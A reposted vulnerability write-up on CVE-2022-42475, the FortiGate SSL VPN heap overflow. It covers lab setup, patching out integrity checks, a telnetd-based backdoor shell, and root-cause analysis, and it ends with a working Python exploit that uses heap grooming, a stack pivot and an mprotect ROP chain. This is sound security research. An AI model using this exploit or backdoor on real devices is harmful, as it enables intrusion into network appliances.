CVE-2022-42475 / 堆溢出漏洞分析与利用漏洞分析

目录

搭建运行环境

搭建调试和漏洞环境

提取二进制

搭建 GDB 调试环境

Fortios 的文件系统校验

通过 Patch 绕过文件系统校验

在文件系统中植入后门

复现漏洞&漏洞分析

漏洞利用

相关参考资料


搭建运行环境


可以在 Fortinet 官网下载 FortiGate 的虚拟机镜像.

Fortinet SSO

image.png

下载 New deployment of xxxx 的 zip 压缩包,比如 FOS_VM64-v7.2.4.F-build1396-FORTINET.out.ovf.zip 解压之后双击 .ovf 文件,用 vmware station 导入虚拟机即可.

image.png

导入后将虚拟机网卡绑定到 NAT 网卡 (默认是物理桥接,理论上应该也没有问题).

image.png

启动后使用 admin + 空密码登录系统,按提示设置 admin 账户密码,然后给网卡配置 ip,以及允许访问的服务/端口,端口配置如下(NAT网段为 192.168.213.0/24)

image.png

之后访问 80 端口 web 页面,在页面中配置 sslvpn 并增加相应防火墙规则。

vpn 配置

image.png

vpn防火墙配置

image.png

之后访问 sslvpn 的端口,就会出现 vpn 登录页面,至此可以触发漏洞的环境就已经搭建好了。

image.png


搭建调试和漏洞环境

目前 Fortinet 官网只能下载 7.2.4 和 7.0.10 两个版本的镜像,而漏洞是在 7.2.3 版本中被修复,最终漏洞复现方式是下载 7.2.4 版本镜像,然后通过二进制 patch,去掉漏洞的补丁。

提取二进制

二进制程序位于虚拟机磁盘文件中,使用 vmware workstation (Linux 虚拟机)挂载 fortinet 虚拟机的磁盘文件,在虚拟机中挂载分区。

主要业务二进制位于 FORTIOS 分区的 rootfs.gz 打包文件中,使用 gzip + cpio 解压后会出现结果 .tar 文件,使用 rootfs 下的 xz 和 ftar 解压这些文件.

sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar
sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
sudo chroot . /sbin/ftar -xf /migadmin.tar
sudo chroot . /sbin/xz --check=sha256 -d /usr.tar.xz
sudo chroot . /sbin/ftar -xf /usr.tar

解压后的目录结构

┌──(root?kali)-[~/fos]
└─# ls -lh            
total 416K
drwxr-xr-x  2 root root 4.0K Mar  6 03:48 bin
-rw-r--r--  1 root root  256 Jan 31 00:11 bin.tar.xz.chk
drwxr-xr-x  2 root root 4.0K Jan 31 00:10 boot
drwxr-xr-x  3 root root 4.0K Mar  6 01:22 data
drwxr-xr-x  2 root root 4.0K Jan 31 00:10 data2
drwxr-xr-x  7 root root  20K Mar  6 01:22 dev
lrwxrwxrwx  1 root root    8 Mar  6 01:22 etc -> data/etc
lrwxrwxrwx  1 root root    1 Mar  6 01:22 fortidev -> /
lrwxrwxrwx  1 root root   10 Mar  6 01:22 init -> /sbin/init
drwxr-xr-x  3 root root 4.0K Mar  6 01:22 lib
lrwxrwxrwx  1 root root    4 Mar  6 01:22 lib64 -> /lib
drwxr-xr-x 22 root root  12K Mar  6 01:23 migadmin
-rw-r--r--  1 root root 330K Jan 31 00:11 node-scripts.tar.xz
drwxr-xr-x  2 root root 4.0K Jan 31 00:10 proc
drwxr-xr-x  2 root root 4.0K Mar  6 01:22 sbin
drwxr-xr-x  2 root root 4.0K Jan 31 00:10 sys
drwxr-xr-x  2 root root 4.0K Jan 31 00:10 tmp
drwxr-xr-x  4 root root 4.0K Mar  6 02:59 usr
-rw-r--r--  1 root root  256 Jan 31 00:11 usr.tar.xz.chk
drwxr-xr-x  8 root root 4.0K Mar  6 01:22 var

┌──(root?kali)-[~/fos]
└─# ls -lh bin/init
-rwxr-xr-x 1 root root 68M Mar  7 00:28 bin/init

┌──(root?kali)-[~/fos]
└─# ls -lh bin/sslvpnd
lrwxrwxrwx 1 root root 9 Mar  6 01:23 bin/sslvpnd -> /bin/init

/bin/sslvpnd​ 是本次的分析目标,其实际是指向 /bin/init​ 的软链接.

搭建 GDB 调试环境

登录虚拟机console后,拿到的是一个受限的命令行界面,无法执行 shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境.

Fortios 的文件系统校验

系统的内核文件是 FORTIOS 分区的 flatkc 文件(flatkc.chk 是它的签名文件),内核的命令行参数位于 extlinux.conf 文件中.

/ # cat /data/extlinux.conf 
DISPLAY boot.msg
TIMEOUT 10
TOTALTIMEOUT 9000
DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz

使用 vmlinux-to-elf 将其转换为 elf 文件,然后使用 IDA 加载,定位到启动用户态进程的位置

image.png

fgt_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程,其代码如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *argv[4]; // [rsp+0h] [rbp-20h] BYREF
  verify_filesystem();
  unlink("/sbin/init.chk");
  if ( (int)decompress_dir("bin") >= 0
    && (int)decompress_dir("migadmin") >= 0
    && (int)decompress_dir("node-scripts") >= 0 )
  {
    decompress_dir("usr");
  }
  argv[0] = "/bin/init";
  argv[1] = 0LL;
  execve("/bin/init", argv, 0LL);
  return 0LL;
}

代码逻辑:

  1. 首先校验文件系统
  2. 然后使用 decompress_dir 解压 bin.tar.gz 、migadmin.tar.gz 、node-scripts.tar.gz 、usr.tar.gz
  3. 最后执行 /bin/init .

/bin/init 程序 main 函数中首先会有几处校验,如果校验失败就会调用 do_halt 重启系统.

image.png

其中 verify_kernel_and_rootfs_0 目的是校验内核镜像和文件系统.

image.png

通过 Patch 绕过文件系统校验

再次简单梳理下系统启动校验流程:

  1. 内核解压 rootfs.gz,执行用户态进程 (/sbin/init) 之前会调用 fgt_verify 校验文件系统.
  2. /sbin/init 会解压文件系统,然后执行 /bin/init 进程.
  3. /bin/init 进行多次系统校验,校验失败会重启系统.

Patch 思路:

  1. 手动解压 rootfs.gz 以及其中的各个 tar.gz 文件.
  2. 然后 Patch /bin/init 程序,忽略其中的系统校验逻辑.
  3. 使用 cpio 和 gzip 重新打包 rootfs.gz
  4. 替换 FORTIOS 分区中的 rootfs.gz
  5. 利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行.

/bin/init 程序 Patch 前后对比:

patch前:

image.png

patch 后:

image.png

rootfs.gz 重打包命令

find . | cpio -H newc -o > ../rootfs
gzip rootfs

编辑虚拟机 vmx 文件,增加 debugStub,然后 GDB 调试 Fortios 系统内核

debugStub.listen.guest64 = "TRUE"
debugStub.listen.guest64.remote = "TRUE"
debugStub.port.guest64 = "12345"
debugStub.listen.guest32 = "TRUE"
debugStub.listen.guest32.remote = "TRUE"
debugStub.port.guest32 = "12346"

在 fgt_verify 处下断点,修改其返回值为0,并修改 /sbin/init 字符串为 /bin/init.

image.png

然后让内核继续运行,内核会启动修改过的 /bin/init 并绕过文件系统的校验.

在文件系统中植入后门

在命令行中执行 diagnose hardware smartctl​ 系统会执行 /bin/smartctl 程序,我们可以通过修改 smartctl 来实现执行任意 shell 命令.

操作流程:

  1. 首先下载静态链接的 busybox 并将其放到 /bin/busybox 目录.
  2. 然后静态编译后门程序,替换 /bin/smartctl
  3. 重新打包 rootfs.gz
  4. 进入系统后,执行 diagnose hardware smartctl​ ,触发后门的执行,会在 22 端口监听 telnet 服务.
  5. 从其他机器上 telnet 登录即可拿到 Fortios 的 shell.

后门程序代码:

#include <stdio.h>

void shell(){
        system("/bin/busybox ls", 0, 0);
        system("/bin/busybox id", 0, 0);
        system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
        return;
}

int main(int argc, char const *argv[])
{
        shell();
        return 0;
}

拿到 shell 后,通过 wget 下载静态链接的 gdb 即可调试用户态进程.

复现漏洞&漏洞分析


由于从官网下载到的镜像是已经修复了该漏洞的版本,于是决定根据 网上的漏洞信息 ,在新版二进制中去除漏洞补丁,从而进行漏洞复现.

首先根据漏洞信息 patch 了 malloc 里面的 size 限制

image.png

根据漏洞信息可知,发送过大的 content-length 可以触发漏洞,但是尝试发送比较大的 content-length ,服务器会返回 HTTP/1.1 413 Request Entity Too Large

通过在内存分配函数下断点,记录分配大小,

(gdb) i b
Num     Type            Disp Enb Address            What
2       breakpoint      keep n   0x00000000017e2660 
        breakpoint already hit 812 times
        printf "1'st alloc size: 0x%lx\n", $rdi
        c
3       breakpoint      keep n   0x00000000017e2a20 
        printf "2'st alloc size: 0x%lx\n", $rdi
        c

image.png

当 content-length 值较小时会作为 size 向进程申请内存,值比较大时就不会出现在内存分配函数中,猜测程序可能还有几处其他的 patch 校验了 content-length。

经过尝试,发现进程通过 SSL_read 接受 http 请求数据.

Breakpoint 5, 0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3
(gdb) bt
#0  0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3
#1  0x00000000016bbb86 in ?? ()
#2  0x00000000016bc5a1 in ?? ()
#3  0x00000000016cbf9a in ?? ()
#4  0x00000000017e802f in ?? ()
#5  0x00000000017e924b in ?? ()
#6  0x00000000017eafbd in ?? ()
#7  0x00000000017ec670 in ?? ()
#8  0x00000000017ec74e in ?? ()
#9  0x00000000017ecc59 in ?? ()
#10 0x00000000017edf1c in ?? ()
#11 0x00000000017ef2f9 in ?? ()
#12 0x0000000000448ccf in ?? ()
#13 0x0000000000451eea in ?? ()
#14 0x000000000044ea5b in ?? ()
#15 0x0000000000451098 in ?? ()
#16 0x0000000000451a67 in ?? ()
#17 0x00007fd84154ddeb in __libc_start_main () from /usr/lib/x86_64-linux-gnu/libc.so.6
#18 0x0000000000443d3a in ?? ()

一层一层回溯,看是否给客户端返回了错误码 ( 513 ​),发现在 17E9220 , v6 + 136 里面存的是状态码,sub_16C7610 会解析状态码。

__int64 __fastcall sub_17E9220(_QWORD *a1, unsigned int a2, unsigned int a3, unsigned int a4)
{
  __int64 v6; // r12
  int v7; // eax
  __int64 result; // rax
  int v9; // er9
  int v10; // eax
  unsigned int v11; // eax
  __int64 v12; // rdx
  unsigned int v13; // [rsp+Ch] [rbp-34h]

  v6 = a1[92];
  v7 = sub_17E7FB0(v6);
  if ( v7 > 0 )
  {
    result = a2;
    if ( !*(v6 + 72) )
      return result;
    if ( !*(v6 + 80) )
    {
      if ( sub_16B2B80(*(v6 + 280), "Transfer-Encoding") )
      {
        if ( sub_16B2B80(*(v6 + 280), "Content-Length") )
          sub_16B2F00(*(v6 + 280), "Content-Length");
      }
      return sub_17E8840(a1);
    }
    sub_1734180(a1, 8LL, "client sent invalid HTTP/0.9 request: HEAD %s\n", *(v6 + 384));
    *(v6 + 80) = 0;
    *(v6 + 136) = 400;
LABEL_9:
    *(v6 + 782) &= 0xE7u;
    sub_16C7610(v6, 0LL);
    sub_17EA4A0(a1, &dword_55331A0, 48LL);
    return 6LL;
  }
  v9 = v7;
  v10 = *(v6 + 136);
  if ( v10 == 414 || v10 == 405 )
  {
    sub_1734180(a1, 8LL, "request failed: URI too long or method not allowed\n");
    goto LABEL_9;
  }
  v13 = v9;
  v11 = sub_16BCE60(*(*(v6 + 8) + 40LL));
  v12 = v11;
  if ( v11 > 5 )
  {
    result = 6LL;
    if ( v12 != -2 )
    {
      sub_1734180(a1, 128LL, "%s,%d, ret=%d error=%d, sconn=%p.\n", "sslvpn_read_request_common", 677LL, v13, v12, a1);
      result = 7LL;
    }
  }
  else
  {
    result = a3;
    if ( v12 != 1 )
    {
      result = 0LL;
      if ( v12 == 2 )
        result = a4;
    }
  }
  return result;
}

给 v6 + 136 下写断点,定位到修改响应码为 413 的位置和调用栈.

image.png

校验 content-length 的相关代码

__int64 __fastcall sub_16C61D0(__int64 a1, unsigned int a2, int a3)
{
  v3 = a3;
  v4 = a2;
  v6 = *(a1 + 280);
  content_length = find_header(*(a1 + 280), "Content-Length");

  v17 = strtoull(content_length, endptr, 10);           // content-length 转数字
  *(a1 + 240) = v17;
  if ( *v16 || endptr[0] && *endptr[0] || v17 < 0 )
  {
    sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Invalid Content-Length\n");
    result = 400LL;
    *(a1 + 136) = 400;
    return result;
  }
  v4 = *(a1 + 260);
  result = 0LL;
  if ( v3 )
  {
    v11 = *(a1 + 240; // 取出 content-length
    if ( v11 > 0 && v11 > v3 ) // [0] 校验 content-length
    {
      sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Content-Length too large: %s\n", v9);
      result = 413LL;
      *(a1 + 136) = 413; // 设置状态码
    }
  }

patch 条件 [0]​ 去掉校验

set *(unsigned char*)0x16c62dd=0xeb

根据调试还有 16B1F74​ 的 size​ 校验需要 patch。

image.png

以上是 Fortios 对 content-length 做的限制,实际本次漏洞的根因代码位于 0x17F1590 处的 sslvpn_read_post_data_cb 函数

image.png

上图是 7.2.4 中修复后的版本,用于理清收包逻辑:

  1. 首先使用 v2->content_length + 1 作为 size 去申请内存.
  2. 然后调用 read_data 往 ctx->sock_buffer 里面读取数据,最多读取 0x1ffe,如果实际 content-length 大于 0x1ffe,会多次进入该数据分批读取数据.
  3. 之后根据受到的内容和实际 v2->content_length 的值计算数据拷贝大小,避免溢出 ctx->content.
  4. 最后调用 memcpy 拷贝数据.

content_length 在 0x16C6375 解析,长度为 8 字节.

image.png


漏洞位于 sslvpn_read_post_data_cb​ 取 content_length​ 字段时是先取 4 字节,然后符号扩展成 8 字节,而后面使用该字段均是直接从结构体中取 8 字节数据 ​.

存在漏洞的版本

mov     eax, [rax+18h] // DWORD(ctx->content_length)
mov     rdi, [r12]
lea     esi, [rax+1]  // DWORD(ctx->content_length) + 1
movsxd  rsi, esi
call    alloc

7.2.4 修复后的版本

.text:00000000017F1638                 mov     rax, [rax+18h] // ctx->content_length
.text:00000000017F163C                 mov     rdi, [r12]
.text:00000000017F1640                 lea     rsi, [rax+1] // ctx->content_length + 1
.text:00000000017F1644                 call    alloc

当提供的 content_length 为 0x1b00000000 时,由于 DWORD(ctx->content_length) = 0​ ,因此实际申请内存为 1 字节,而下面做内存拷贝时取到的 content-length 为 0x1b00000000,从而导致堆溢出漏洞

此处 patch 的方式是找一块不会被执行的代码 (16C62DF),然后把存在漏洞的汇编代码写到16C62DF,修改 17F1638 处的代码为 jmp 16C62DF​ ,计算 rsi 完成后再跳转回来继续执行后面的代码,如下所示:

.text:00000000017F1638
.text:00000000017F1638 loc_17F1638:                            ; CODE XREF: sslvpn_read_post_data_cb+29↑j
.text:00000000017F1638                 jmp     loc_16C62DF     ; Keypatch modified this from:
.text:00000000017F1638                                         ;   mov rax, [rax+18h]
.text:00000000017F1638                                         ;   mov rdi, [r12]
.text:00000000017F1638                                         ; Keypatch padded NOP to next boundary: 3 bytes
.text:00000000017F1638 ; ---------------------------------------------------------------------------
.text:00000000017F163D                 align 20h
.text:00000000017F1640                 nop                     ; size
.text:00000000017F1640                                         ; Keypatch modified this from:
.text:00000000017F1640                                         ;   lea rsi, [rax+1]
.text:00000000017F1640                                         ; Keypatch padded NOP to next boundary: 3 bytes
.text:00000000017F1641                 nop
.text:00000000017F1642                 nop
.text:00000000017F1643                 nop
.text:00000000017F1644
.text:00000000017F1644 loc_17F1644:                            ; CODE XREF: sub_16C61D0+11C↑j
.text:00000000017F1644                 call    alloc
.text:00000000017F1649                 mov     [rbx+8], rax

........
.text:00000000016C62DF
.text:00000000016C62DF loc_16C62DF:                            ; CODE XREF: sslvpn_read_post_data_cb:loc_17F1638↓j
.text:00000000016C62DF                 mov     eax, [rax+18h]  ; Keypatch modified this from:
.text:00000000016C62DF                                         ;   mov rdx, [rbx+0F0h]
.text:00000000016C62DF                                         ; Keypatch padded NOP to next boundary: 3 bytes
.text:00000000016C62DF                                         ; Keypatch modified this from:
.text:00000000016C62DF                                         ;   mov rax, [rax+18h]
.text:00000000016C62DF                                         ; Keypatch padded NOP to next boundary: 1 bytes
.text:00000000016C62E2                 mov     rdi, [r12]      ; Keypatch modified this from:
.text:00000000016C62E2                                         ;   nop
.text:00000000016C62E2                                         ;   nop
.text:00000000016C62E2                                         ;   nop
.text:00000000016C62E2                                         ;   nop
.text:00000000016C62E6                 lea     esi, [rax+1]    ; Keypatch modified this from:
.text:00000000016C62E6                                         ;   test rdx, rdx
.text:00000000016C62E9                 movsxd  rsi, esi        ; Keypatch modified this from:
.text:00000000016C62E9                                         ;   jle short loc_16C62AF
.text:00000000016C62E9                                         ;   cmp rdx, r13
.text:00000000016C62E9                                         ; Keypatch padded NOP to next boundary: 2 bytes
.text:00000000016C62EC                 jmp     loc_17F1644     ; Keypatch modified this from:
.text:00000000016C62EC                                         ;   nop
.text:00000000016C62EC                                         ;   nop
.text:00000000016C62EC                                         ;   jle short loc_16C62AF
.text:00000000016C62EC                                         ;   mov rax, [rbx+8]
.text:00000000016C62EC                                         ; Keypatch padded NOP to next boundary: 3 bytes

漏洞利用


结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,就会溢出到函数指针,且溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用.

此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。

二进制保护措施情况

┌──(kali㉿kali)-[~]
└─$ checksec --file=init
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        Yes   10              47              init

实际利用思路 (某些步骤不一定需要或者有用):

  1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
  2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
  3. 分配用于溢出的 exp_sk
  4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
  5. 触发溢出,希望修改 SSL 结构体中的函数指针
  6. 给其他 socket 发送数据,等待函数指针调用
  7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
  8. jmp esp 跳转到栈上的 shellcode 执行。

执行 shellcode 时的调试器上下文如下:

image.png

​​

poc

import socket
import ssl
from pwn import *
import pwn

path = "/remote/login".encode()
content_length = ["2147483647", "666666", "123412"]
content_length = ["666666"]
content_length = ["2147483647"]
content_length = ["115964116992"]

ip = "192.168.213.133"
port = 4443

# rdx --> data
stack_povit = 0x0000000001350680 # push rdx ; pop rsp ; add ebx, ebp ; ret

system_plt = 0x043ECC0

writeable_address = 0x047759F4

cmd = "/bin/busybox id >> /tmp/pwn.log\x00"

def create_ssl_ctx():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect((ip, port))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket

socks = []

for i in range(60):
    sk = create_ssl_ctx()
    data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
    sk.sendall(data)
    socks.append(sk)

for i in range(20, 40, 2):
    sk = socks[i]
    sk.close()
    socks[i] = None

CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"

exp_sk = create_ssl_ctx()

for i in range(20):
    sk = create_ssl_ctx()
    socks.append(sk)

exp_sk.sendall(data)

payload = cyclic(40000)
payload = b"x" * (3613 - 192)

"""
0x0000000001356e88 : mov rax, rdx ; pop rbp ; ret
0x0000000000550a38 : mov rax, rdx ; ret

0x000000000076e03e : pop rcx ; ret
0x0000000002c2c9b0 : and rax, rcx ; ret

0x000000000053d5a5 : pop rdi ; ret
0x0000000000687c69 : pop rsi ; ret
0x0000000001f407f4 : mov rdx, rax ; sub rdx, rdi ; sub qword ptr [rsi], rdx ; ret

0x0000000000687c69 : pop rsi ; ret
0x000000000045da22 : mov rdi, rdx ; test esi, esi ; jne 0x45da30 ; ret

0x0000000000687c69 : pop rsi ; ret

0x000000000043f942 : pop rdx ; ret

0x00000000005ecfe6 : jmp rsp

"""

mov_rax_rdx_ret = 0x0000000000550a38
pop_rcx_ret = 0x000000000076e03e
and_rax_rcx_ret = 0x0000000002c2c9b0
pop_rdi_ret = 0x000000000053d5a5
pop_rsi_ret = 0x0000000000687c69
mov_rdx_rax_ret = 0x0000000001f407f4
mov_rdi_rdx_ret = 0x000000000045da22
pop_rdx_ret = 0x000000000043f942
mprotect_plt = 0x0043F460
jmp_rsp = 0x00000000005ecfe6

gadget = b""
gadget += pwn.p64(mov_rax_rdx_ret)

# for dirty write, 进程会修改该处栈数据
gadget += pwn.p64(pop_rcx_ret)
gadget += pwn.p64(0x0000000001356e88)

gadget += pwn.p64(pop_rcx_ret)
gadget += pwn.p64(0xfffffffffffff000)
gadget += pwn.p64(and_rax_rcx_ret)
gadget += pwn.p64(pop_rdi_ret)
gadget += pwn.p64(0)
gadget += pwn.p64(pop_rsi_ret)
gadget += pwn.p64(writeable_address)
gadget += pwn.p64(mov_rdx_rax_ret)
gadget += pwn.p64(pop_rsi_ret)
gadget += pwn.p64(0)
gadget += pwn.p64(mov_rdi_rdx_ret)
gadget += pwn.p64(pop_rsi_ret)
gadget += pwn.p64(0x4000)
gadget += pwn.p64(pop_rdx_ret)
gadget += pwn.p64(7)
gadget += pwn.p64(mprotect_plt)
gadget += pwn.p64(jmp_rsp)

gadget += b"\xf8" * 12

assert(len(gadget) <= 192)

victim_obj = gadget
victim_obj += b"\xf2" * (192 - len(victim_obj))
victim_obj += pwn.p64(stack_povit)
payload += victim_obj

exp_sk.sendall(payload)

for sk in socks:
    if sk:
        data = b"b" * 40
        sk.sendall(data)

print("done")

相关参考资料

  1. fortigate | f01965
  2. fortigate Vulnerability | f01965
  3. CVE-2022-42475 | CataLpa's Site
  4. Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN | DEVCORE

本文纯属于转载,若有冒犯可删除

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值